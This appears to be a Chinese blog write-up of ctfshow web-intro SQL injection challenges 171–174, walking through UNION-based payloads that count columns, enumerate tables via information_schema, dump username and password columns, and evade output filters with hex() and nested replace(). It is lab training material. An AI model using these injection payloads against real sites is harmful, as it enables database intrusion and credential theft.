sql注入_union注入 ctfshow web入门 sql注入

web 171
在这里插入图片描述

查询有多少列

1' union select null,null,null --+

查询库名

1' union select 1,2,database() --+

在这里插入图片描述
查询ctfshow_web库的表

1' union select 1,2,group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = 'ctfshow_web';--+

group_concat函数把查询结果合并到一行显示
在这里插入图片描述
合并查询当前库的表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+

在这里插入图片描述
查询表列名

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'ctfshow_web' and table_name = 'ctfshow_user' --+

在这里插入图片描述
查询表中的内容

1' union select id,username,password from ctfshow_user --+

在这里插入图片描述
web 172
在这里插入图片描述

查看有多少列

1' union select null,null --+

在这里插入图片描述
查询当前数据库的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --+

在这里插入图片描述
查询ctfshow_user2的列

1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_user2'  --+

在这里插入图片描述
查询数据(只要不查username就行)

1' union select  id,password from  ctfshow_user2  --+

在这里插入图片描述
web 173
在这里插入图片描述
返回逻辑preg_match函数进行正则表达式表达式的匹配,成功返回1,否则返回0
参数i表示不区分大小写
json_encode函数将返回值变成json码
查询有多少列

1' union select null,null,null --+

在这里插入图片描述查看当前数据库

1' union select null,null,database() --+

查询表的数据

1' union select id,username,password from ctfshow_user3 where username='flag' --+

发现没有有用的信息
在这里插入图片描述

查看返回逻辑发现它把答案过滤了尝试用hex()函数把flag转换成16进制

1' union select hex(id),hex(username),hex(password) from ctfshow_user3 where username='flag' --+

在这里插入图片描述
用16进制转换看看是不是flag
在这里插入图片描述
用16进制把flag答案转换
在这里插入图片描述
web174
在这里插入图片描述
查看有多少列

1union select null,null --+

在这里插入图片描述

看返回逻辑发现它把答案过滤了不能出现数字或者flag
使用replace函数替换

1' union select replace(username,'flag','flog'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','a'),'1',' b'),'2','c'),'3','d'),'4','e'),'5','f'),'6','g'),'7','h'),'8','i'),'9','j'),'flag','flog') from ctfshow_user4 --+

在这里插入图片描述
没有考虑全万一flag里面也有字母,管它呢先换一下看对不对
放到word文档替换

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值